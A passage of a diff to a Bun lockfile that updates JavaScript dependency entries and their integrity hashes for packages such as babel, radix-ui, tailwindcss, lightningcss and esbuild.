"sha512-PLzC90MS+ReootmjC597dvopoelpZ8Q61HJkDXZSExitIq7PL55vHNnesAHwguHK0aPfBnpdNzQtv1uliaqQrA=="], + "@babel/core/semver": ["semver@6.3.1", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="], - "@radix-ui/react-use-controllable-state/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ=="], + "@babel/helper-compilation-targets/semver": ["semver@6.3.1", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="], - "@radix-ui/react-use-effect-event/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ=="], + "@tailwindcss/node/lightningcss": ["lightningcss@1.32.0", "", { "dependencies": { "detect-libc": "^2.0.3" }, "optionalDependencies": { "lightningcss-android-arm64": "1.32.0", "lightningcss-darwin-arm64": "1.32.0", "lightningcss-darwin-x64": "1.32.0", "lightningcss-freebsd-x64": "1.32.0", "lightningcss-linux-arm-gnueabihf": "1.32.0", "lightningcss-linux-arm64-gnu": "1.32.0", "lightningcss-linux-arm64-musl": "1.32.0", "lightningcss-linux-x64-gnu": "1.32.0", "lightningcss-linux-x64-musl": "1.32.0", "lightningcss-win32-arm64-msvc": "1.32.0", "lightningcss-win32-x64-msvc": "1.32.0" } }, "sha512-NXYBzinNrblfraPGyrbPoD19C1h9lfI/1mzgWYvXUTe414Gz/X1FD2XBZSZM7rRTrMA8JL3OtAaGifrIKhQ5yQ=="], - "@radix-ui/react-visually-hidden/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.6", "", { "dependencies": { "@radix-ui/react-slot": "1.3.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-wetd0QI77DbvrPpTAvH1SqOxsYF2wZe5TNxqwOd5Ty4XDpV3dpV0s8K/1MGMJBeY5o7lg8ub5VIt1Ub+yVen6g=="], + "@tailwindcss/node/magic-string": ["magic-string@0.30.21", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.5" } }, "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ=="], - "@tailwindcss/oxide-wasm32-wasi/@emnapi/core": ["@emnapi/core@1.10.0", "", { "dependencies": { "@emnapi/wasi-threads": "1.2.1", "tslib": "^2.4.0" }, "bundled": true }, "sha512-yq6OkJ4p82CAfPl0u9mQebQHKPJkY7WrIuk205cTYnYe+k2Z8YBh11FrbRG/H6ihirqcacOgl2BIO8oyMQLeXw=="], + "@tailwindcss/oxide-wasm32-wasi/@emnapi/core": ["@emnapi/core@1.11.1", "", { "dependencies": { "@emnapi/wasi-threads": "1.2.2", "tslib": "^2.4.0" }, "bundled": true }, "sha512-RSvbQmHzdKzNsLYa/wHrbc3KN4sYLKAdPZxqiM2HATqv/SBk2/ENSHpvXGaLOMcsAyz0poEGqkmmKYG3OWiJEQ=="], - "@tailwindcss/oxide-wasm32-wasi/@emnapi/runtime": ["@emnapi/runtime@1.10.0", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-ewvYlk86xUoGI0zQRNq/mC+16R1QeDlKQy21Ki3oSYXNgLb45GV1P6A0M+/s6nyCuNDqe5VpaY84BzXGwVbwFA=="], + "@tailwindcss/oxide-wasm32-wasi/@emnapi/runtime": ["@emnapi/runtime@1.11.1", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-vgj7R3y3Wgx24IQaGPA/R6YFXLHVMOZ0uVEyIQPaWs+rd1AzfEMXlAC22FYwO1XkKR6NPsq7mUandH8oIRdZFw=="], - "@tailwindcss/oxide-wasm32-wasi/@emnapi/wasi-threads": ["@emnapi/wasi-threads@1.2.1", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-uTII7OYF+/Mes/MrcIOYp5yOtSMLBWSIoLPpcgwipoiKbli6k322tcoFsxoIIxPDqW01SQGAgko4EzZi2BNv2w=="], + "@tailwindcss/oxide-wasm32-wasi/@emnapi/wasi-threads": ["@emnapi/wasi-threads@1.2.2", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-c95qOXkHdydNKhscBTebqEC1CVAZpyqOfVfBzQ1qgzyl3gfeldUjIggDbIZgDKsHLgnsM+igH7TJ/eAasaVuMA=="], - "@tailwindcss/oxide-wasm32-wasi/@napi-rs/wasm-runtime": ["@napi-rs/wasm-runtime@1.1.4", "", { "dependencies": { "@tybys/wasm-util": "^0.10.1" }, "peerDependencies": { "@emnapi/core": "^1.7.1", "@emnapi/runtime": "^1.7.1" }, "bundled": true }, "sha512-3NQNNgA1YSlJb/kMH1ildASP9HW7/7kYnRI2szWJaofaS1hWmbGI4H+d3+22aGzXXN9IJ+n+GiFVcGipJP18ow=="], + "@tailwindcss/oxide-wasm32-wasi/@napi-rs/wasm-runtime": ["@napi-rs/wasm-runtime@1.2.3", "", { "dependencies": { "@tybys/wasm-util": "^0.10.3" }, "peerDependencies": { "@emnapi/core": "^1.7.1 || ^2.0.0-alpha.4", "@emnapi/runtime": "^1.7.1 || ^2.0.0-alpha.4" }, "bundled": true }, "sha512-UMduMbqO5s5zF2NkNacMT/yK5Y5QiKvWr2+50bzIIxFDwVJ2h49b+oyjaCGPhJxd2/gC2x39EHv/gHVuu36x2Q=="], "@tailwindcss/oxide-wasm32-wasi/@tybys/wasm-util": ["@tybys/wasm-util@0.10.3", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-F3fo1MYrRJYL3zER0OUOmkutjr1Vp23m7OsSgp7nq4SP6OqX6C/56XFIPAl5bt3zaBRjmW7SGz3u/6LwFpYcOg=="], "@tailwindcss/oxide-wasm32-wasi/tslib": ["tslib@2.8.1", "", { "bundled": true }, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="], - "@tanstack/devtools-vite/@babel/core": ["@babel/core@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-module-transforms": "^7.28.3", "@babel/helpers": "^7.28.4", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/remapping": "^2.3.5", "convert-source-map": "^2.0.0", "debug": "^4.1.0", "gensync": "^1.0.0-beta.2", "json5": "^2.2.3", "semver": "^6.3.1" } }, "sha512-e7jT4DxYvIDLk1ZHmU/m/mB19rex9sv0c2ftBtjSBv+kVM/902eh0fINUzD7UwLLNR+jU585GxUJ8/EBfAM5fw=="], - - "@tanstack/devtools-vite/@babel/generator": ["@babel/generator@7.28.5", "", { "dependencies": { "@babel/parser": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ=="], - - "@tanstack/devtools-vite/@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": "./bin/babel-parser.js" }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="], - - "@tanstack/devtools-vite/@babel/traverse": ["@babel/traverse@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/types": "^7.28.5", "debug": "^4.3.1" } }, "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ=="], - - "@tanstack/devtools-vite/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="], + "@tanstack/devtools/@tanstack/devtools-client": ["@tanstack/devtools-client@0.0.6", "", { "dependencies": { "@tanstack/devtools-event-client": "^0.4.1" } }, "sha512-f85ZJXJnDIFOoykG/BFIixuAevJovCvJF391LPs6YjBAPhGYC50NWlx1y4iF/UmK5/cCMx+/JqI5SBOz7FanQQ=="], - "@tanstack/devtools-vite/picomatch": ["picomatch@4.0.3", "", {}, "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q=="], - - "@types/react-copy-to-clipboard/@types/react": ["@types/react@19.2.7", "", { "dependencies": { "csstype": "^3.2.2" } }, "sha512-MWtvHrGZLFttgeEj28VXHxpmwYbor/ATPYbBfSFZEIRK0ecCFLl2Qo55z52Hss+UV9CRN7trSeq1zbgx7YDWWg=="], - - "@types/react-syntax-highlighter/@types/react": ["@types/react@19.2.7", "", { "dependencies": { "csstype": "^3.2.2" } }, "sha512-MWtvHrGZLFttgeEj28VXHxpmwYbor/ATPYbBfSFZEIRK0ecCFLl2Qo55z52Hss+UV9CRN7trSeq1zbgx7YDWWg=="], + "@tanstack/devtools/@tanstack/devtools-event-bus": ["@tanstack/devtools-event-bus@0.4.1", "", { "dependencies": { "ws": "^8.18.3" } }, "sha512-cNnJ89Q021Zf883rlbBTfsaxTfi2r73/qejGtyTa7ksErF3hyDyAq1aTbo5crK9dAL7zSHh9viKY1BtMls1QOA=="], "ansi-align/string-width": ["string-width@4.2.3", "", { "dependencies": { "emoji-regex": "^8.0.0", "is-fullwidth-code-point": "^3.0.0", "strip-ansi": "^6.0.1" } }, "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g=="], - "boxen/chalk": ["chalk@5.4.1", "", {}, "sha512-zgVZuo2WcZgfUEmsn6eO3kINexW8RAE4maiQ8QNs8CtpPCSyMiYsULR3HQYkm3w8FIA3SberyMJMSldGsW+U3w=="], - - "browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.32", "", { "bin": { "baseline-browser-mapping": "dist/cli.js" } }, "sha512-OPz5aBThlyLFgxyhdwf/s2+8ab3OvT7AdTNvKHBwpXomIYeXqpUUuT8LrdtxZSsWJ4R4CU1un4XGh5Ez3nlTpw=="], - "chalk-template/chalk": ["chalk@4.1.2", "", { "dependencies": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" } }, "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA=="], "compression/debug": ["debug@2.6.9", "", { "dependencies": { "ms": "2.0.0" } }, "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA=="], - "dom-helpers/@babel/runtime": ["@babel/runtime@7.28.4", "", {}, "sha512-Q/N6JNWvIvPnLDvjlE1OUBLPQHH6l3CltCEsHIujp45zQUSSh8K+gHnaEX45yAT1nyngnINhvWtzN+Nb9D8RAQ=="], - - "fumadocs-mdx/chokidar": ["chokidar@5.0.0", "", { "dependencies": { "readdirp": "^5.0.0" } }, "sha512-TQMmc3w+5AxjpL8iIiwebF73dRDF4fBIieAqGn9RGCWaEVwQ6Fb2cGe31Yns0RRIzii5goJ1Y7xbMwo1TxMplw=="], - - "fumadocs-mdx/esbuild": ["esbuild@0.28.1", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.28.1", "@esbuild/android-arm": "0.28.1", "@esbuild/android-arm64": "0.28.1", "@esbuild/android-x64": "0.28.1", "@esbuild/darwin-arm64": "0.28.1", "@esbuild/darwin-x64": "0.28.1", "@esbuild/freebsd-arm64": "0.28.1", "@esbuild/freebsd-x64": "0.28.1", "@esbuild/linux-arm": "0.28.1", "@esbuild/linux-arm64": "0.28.1", "@esbuild/linux-ia32": "0.28.1", "@esbuild/linux-loong64": "0.28.1", "@esbuild/linux-mips64el": "0.28.1", "@esbuild/linux-ppc64": "0.28.1", "@esbuild/linux-riscv64": "0.28.1", "@esbuild/linux-s390x": "0.28.1", "@esbuild/linux-x64": "0.28.1", "@esbuild/netbsd-arm64": "0.28.1", "@esbuild/netbsd-x64": "0.28.1", "@esbuild/openbsd-arm64": "0.28.1", "@esbuild/openbsd-x64": "0.28.1", "@esbuild/openharmony-arm64": "0.28.1", "@esbuild/sunos-x64": "0.28.1", "@esbuild/win32-arm64": "0.28.1", "@esbuild/win32-ia32": "0.28.1", "@esbuild/win32-x64": "0.28.1" }, "bin": { "esbuild": "bin/esbuild" } }, "sha512-HrJrvZv5ayxBzPfwphOoNzkzOIIlifzk0KJrGK2c8R4+LKpMtpYLQeUdjnwjWv/LZlkH2laZk+4w78pi99D4Vw=="], - - "fumadocs-mdx/js-yaml": ["js-yaml@4.3.0", "", { "dependencies": { "argparse": "^2.0.1" }, "bin": { "js-yaml": "bin/js-yaml.js" } }, "sha512-1td788aAnnZ5qs7V2QIRl1owjtYpbKt749Y3xauqQgwIIGF/xXWz1wMTEBx5O3LK3lXLVuqXPdPxj2BoFHaW9Q=="], - - "fumadocs-ui/@radix-ui/react-accordion": ["@radix-ui/react-accordion@1.2.14", "", { "dependencies": { "@radix-ui/primitive": "1.1.4", "@radix-ui/react-collapsible": "1.1.14", "@radix-ui/react-collection": "1.1.10", "@radix-ui/react-compose-refs": "1.1.3", "@radix-ui/react-context": "1.1.4", "@radix-ui/react-direction": "1.1.2", "@radix-ui/react-id": "1.1.2", "@radix-ui/react-primitive": "2.1.6", "@radix-ui/react-use-controllable-state": "1.2.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-iE8YB9nmTBH8zd73ofBISZ8JCzgMoMkATJr7qDwa6u5F1+7mTM81V6fa71jgZ65rpjVpecDf1vSnwIFP9Ly1zw=="], - - "mdast-util-to-hast/unist-util-visit": ["unist-util-visit@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-is": "^6.0.0", "unist-util-visit-parents": "^6.0.0" } }, "sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg=="], - - "mdast-util-to-markdown/unist-util-visit": ["unist-util-visit@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-is": "^6.0.0", "unist-util-visit-parents": "^6.0.0" } }, "sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg=="], - "mime-types/mime-db": ["mime-db@1.33.0", "", {}, "sha512-BHJ/EKruNIqJf/QahvxwQZXKygOQ256myeN/Ew+THcAa5q+PjyTTMMeNQC4DZw5AwfvelsUrA6B67NKMqXDbzQ=="], "parse-entities/@types/unist": ["@types/unist@2.0.11", "", {}, "sha512-CmBKiL6NNo/OqgmMn95Fk9Whlp2mtvIv+KNpQKN2F4SjvrEesubTRWGYSg+BnWZOnlCaSTU1sMpsBOzgbYhnsA=="], - "path-scurry/lru-cache": ["lru-cache@11.2.4", "", {}, "sha512-B5Y16Jr9LB9dHVkh6ZevG+vAbOsNOYCX+sXvFWFu7B3Iz5mijW3zdbMyhsh8ANd2mSWBYdJgnqi+mL7/LrOPYg=="], - - "pkg-types/pathe": ["pathe@2.0.3", "", {}, "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w=="], + "path-scurry/lru-cache": ["lru-cache@11.5.2", "", {}, "sha512-4pfM1Ff0x50o0tQwb5ucw/RzNyD0/YJME6IVcStalZuMWxdt3sR3huStTtxz4PUmvZfRguvDejasvQ2kifR11g=="], "react-d3-tree/uuid": ["uuid@8.3.2", "", { "bin": { "uuid": "dist/bin/uuid" } }, "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg=="], - "react-router-devtools/@babel/core": ["@babel/core@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-module-transforms": "^7.28.3", "@babel/helpers": "^7.28.4", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/remapping": "^2.3.5", "convert-source-map": "^2.0.0", "debug": "^4.1.0", "gensync": "^1.0.0-beta.2", "json5": "^2.2.3", "semver": "^6.3.1" } }, "sha512-e7jT4DxYvIDLk1ZHmU/m/mB19rex9sv0c2ftBtjSBv+kVM/902eh0fINUzD7UwLLNR+jU585GxUJ8/EBfAM5fw=="], - - "react-router-devtools/@babel/generator": ["@babel/generator@7.28.5", "", { "dependencies": { "@babel/parser": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ=="], - - "react-router-devtools/@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": "./bin/babel-parser.js" }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="], - - "react-router-devtools/@babel/traverse": ["@babel/traverse@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/types": "^7.28.5", "debug": "^4.3.1" } }, "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ=="], - - "react-router-devtools/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="], - - "react-syntax-highlighter/@babel/runtime": ["@babel/runtime@7.28.4", "", {}, "sha512-Q/N6JNWvIvPnLDvjlE1OUBLPQHH6l3CltCEsHIujp45zQUSSh8K+gHnaEX45yAT1nyngnINhvWtzN+Nb9D8RAQ=="], - - "rollup/@rollup/rollup-darwin-arm64": ["@rollup/rollup-darwin-arm64@4.62.2", "", { "os": "darwin", "cpu": "arm64" }, "sha512-v39RCCvj4He82I9sFmk+M1VZ0PLM9sfsLVikjfx2hYBNALhrrOR2D3JjQA6AhlaSOgcR+RzrKY7e1+bT6SUO/A=="], - - "rollup/@rollup/rollup-linux-x64-gnu": ["@rollup/rollup-linux-x64-gnu@4.62.2", "", { "os": "linux", "cpu": "x64" }, "sha512-5BqxR/pshjey51iliyzTD5Xi3EN0aLmQ2lZ3lvefVV9c82BvrLo2/6OT55iifpWBufs6kdwWbuOKS841DrmK9A=="], - - "rollup/@types/estree": ["@types/estree@1.0.9", "", {}, "sha512-GhdPgy1el4/ImP05X05Uw4cw2/M93BCUmnEvWZNStlCzEKME4Fkk+YpoA5OiHNQmoS7Cafb8Xa3Pya8m1Qrzeg=="], + "react-router-devtools/framer-motion": ["framer-motion@12.43.0", "", { "dependencies": { "motion-dom": "^12.43.0", "motion-utils": "^12.39.0", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-1eaL3RvR/kAlbG7UYcpMptEyzPoENO0c6w7ZnB3/hh2vSAz/6uGAFn6fdoqTBguNstf3MsFhJHsD/0DHiclG+g=="], "serve/chalk": ["chalk@5.0.1", "", {}, "sha512-Fo07WOYGqMfCWHOzSXOt2CxDbC6skS/jO9ynEcmpANMoPrD+W1r1K6Vx7iNm+AQmETU1Xr2t+n8nzkV9t6xh3w=="], @@ -1567,53 +1370,27 @@ "serve-handler/minimatch": ["minimatch@3.1.5", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w=="], - "unist-util-remove-position/unist-util-visit": ["unist-util-visit@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-is": "^6.0.0", "unist-util-visit-parents": "^6.0.0" } }, "sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg=="], - - "vite-node/pathe": ["pathe@2.0.3", "", {}, "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w=="], - - "vite-node/vite": ["vite@7.3.6", "", { "dependencies": { "esbuild": "^0.27.0 || ^0.28.0", "fdir": "^6.5.0", "picomatch": "^4.0.3", "postcss": "^8.5.6", "rollup": "^4.43.0", "tinyglobby": "^0.2.15" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", "jiti": ">=1.21.0", "less": "^4.0.0", "lightningcss": "^1.21.0", "sass": "^1.70.0", "sass-embedded": "^1.70.0", "stylus": ">=0.54.8", "sugarss": "^5.0.0", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "jiti", "less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-4XP60spRGjSZFf1qYH+dJIkK2znL3zQfl9KkOV9MkkRR/3Dls0dxaBsQPTloEc5BLXWPL9vsOxopxyKoMmDueg=="], - - "@floating-ui/react-dom/@floating-ui/dom/@floating-ui/core": ["@floating-ui/core@1.7.5", "", { "dependencies": { "@floating-ui/utils": "^0.2.11" } }, "sha512-1Ih4WTWyw0+lKyFMcBHGbb5U5FtuHJuujoyyr5zTaWS5EYMeT6Jb2AuDeftsCsEuchO+mM2ij5+q9crhydzLhQ=="], + "@tailwindcss/node/lightningcss/lightningcss-android-arm64": ["lightningcss-android-arm64@1.32.0", "", { "os": "android", "cpu": "arm64" }, "sha512-YK7/ClTt4kAK0vo6w3X+Pnm0D2cf2vPHbhOXdoNti1Ga0al1P4TBZhwjATvjNwLEBCnKvjJc2jQgHXH0NEwlAg=="], - "@radix-ui/react-accordion/@radix-ui/react-collapsible/@radix-ui/react-presence": ["@radix-ui/react-presence@1.1.5", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-/jfEwNDdQVBCNvjkGit4h6pMOzq8bHkopq458dPt2lMjx+eBQUohZNG9A7DtO/O5ukSbxuaNGXMjHicgwy6rQQ=="], + "@tailwindcss/node/lightningcss/lightningcss-darwin-arm64": ["lightningcss-darwin-arm64@1.32.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-RzeG9Ju5bag2Bv1/lwlVJvBE3q6TtXskdZLLCyfg5pt+HLz9BqlICO7LZM7VHNTTn/5PRhHFBSjk5lc4cmscPQ=="], - "@radix-ui/react-accordion/@radix-ui/react-collapsible/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ=="], + "@tailwindcss/node/lightningcss/lightningcss-darwin-x64": ["lightningcss-darwin-x64@1.32.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-U+QsBp2m/s2wqpUYT/6wnlagdZbtZdndSmut/NJqlCcMLTWp5muCrID+K5UJ6jqD2BFshejCYXniPDbNh73V8w=="], - "@radix-ui/react-collapsible/@radix-ui/react-use-controllable-state/@radix-ui/react-use-effect-event": ["@radix-ui/react-use-effect-event@0.0.3", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-6c8ZqvPTWILEKnyVkP53EGRCcpnJiKTC21sS/6R1GF5xKyHJJWQEPfkqlcgUkdRQivd6tb23abUwe4ngWmY0JA=="], + "@tailwindcss/node/lightningcss/lightningcss-freebsd-x64": ["lightningcss-freebsd-x64@1.32.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-JCTigedEksZk3tHTTthnMdVfGf61Fky8Ji2E4YjUTEQX14xiy/lTzXnu1vwiZe3bYe0q+SpsSH/CTeDXK6WHig=="], - "@radix-ui/react-dialog/@radix-ui/react-use-controllable-state/@radix-ui/react-use-effect-event": ["@radix-ui/react-use-effect-event@0.0.3", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-6c8ZqvPTWILEKnyVkP53EGRCcpnJiKTC21sS/6R1GF5xKyHJJWQEPfkqlcgUkdRQivd6tb23abUwe4ngWmY0JA=="], + "@tailwindcss/node/lightningcss/lightningcss-linux-arm-gnueabihf": ["lightningcss-linux-arm-gnueabihf@1.32.0", "", { "os": "linux", "cpu": "arm" }, "sha512-x6rnnpRa2GL0zQOkt6rts3YDPzduLpWvwAF6EMhXFVZXD4tPrBkEFqzGowzCsIWsPjqSK+tyNEODUBXeeVHSkw=="], - "@radix-ui/react-navigation-menu/@radix-ui/react-use-controllable-state/@radix-ui/react-use-effect-event": ["@radix-ui/react-use-effect-event@0.0.3", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-6c8ZqvPTWILEKnyVkP53EGRCcpnJiKTC21sS/6R1GF5xKyHJJWQEPfkqlcgUkdRQivd6tb23abUwe4ngWmY0JA=="], + "@tailwindcss/node/lightningcss/lightningcss-linux-arm64-gnu": ["lightningcss-linux-arm64-gnu@1.32.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-0nnMyoyOLRJXfbMOilaSRcLH3Jw5z9HDNGfT/gwCPgaDjnx0i8w7vBzFLFR1f6CMLKF8gVbebmkUN3fa/kQJpQ=="], - "@radix-ui/react-popover/@radix-ui/react-use-controllable-state/@radix-ui/react-use-effect-event": 